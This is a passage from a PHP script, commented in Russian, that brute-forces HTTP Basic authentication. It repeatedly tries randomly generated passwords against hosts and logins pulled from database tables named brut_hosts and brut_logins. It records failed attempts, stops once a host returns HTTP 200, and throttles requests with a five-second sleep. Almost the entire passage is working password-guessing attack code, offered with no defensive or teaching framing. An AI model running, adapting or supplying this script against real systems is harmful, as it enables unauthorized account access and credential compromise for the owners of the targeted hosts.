'val_1', 'field2' => 'val_2', ]; */ $headers = [ "Authorization: Basic " . base64_encode($login . ":" . $pwd) . "\r\n" ]; // заголовки запроса $post_data = http_build_query($post_data); $curl = curl_init(); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 120); curl_setopt($curl, CURLOPT_TIMEOUT, 120); //timeout in seconds curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_VERBOSE, 1); //curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_POST, true); // true - означает, что отправляется POST запрос $result = trim(curl_exec($curl)); $http_code = curl_getinfo($curl, CURLINFO_RESPONSE_CODE); echo $http_code . "\n"; $res['http']=$http_code; //echo $http_code; if (findtxt($http_code, '401')==1) $res['res']='bad'; if (findtxt($http_code, '200')==1) $res['res']='good'; curl_close($curl); return $res; //if ($result=='Unauthorized') return 'bad'; else return 'good'; } for($i = 0; $i < 500; $i++){ $password = gen_random(7, 9); //Берем рандомный хост $host = DB::getValue( 'SELECT `host` FROM `brut_hosts` ORDER BY RAND() LIMIT 1'); //Берем рандомный login $login = DB::getValue( 'SELECT `login` FROM `brut_logins` ORDER BY RAND() LIMIT 1'); //узнаем буртили ли такой пароль... //$id1=DB::getValue("SELECT `id` FROM `brut_pwd` WHERE `pwd`=?", $password); //if (!$id1)DB::add("INSERT INTO `brut_pwd` (`pwd`, `md5`) VALUES(?, ?)", array($password, md5($password))); //Проверяем осмысленность действий $check200=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `code`=?", array($host, '200')); if ($check200)break; $id=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `login`=? AND `pwd`=? AND `code`=?", array($host, $login, $password, '401')); if (!$id){ $res=brut($login, $password, $host); echo $res['http'] . "\n"; if (strlen($res['http'])==3)DB::add("INSERT INTO `brut_bad_pwd` (`host`, `login`, `pwd`, `code`) VALUES(?, ?, ?, ?)", array($host, $login, $password, $res['http'])); } unset($id); sleep(5); } DB::set("DELETE FROM `brut_bad_pwd` WHERE `code`='400'"); ?>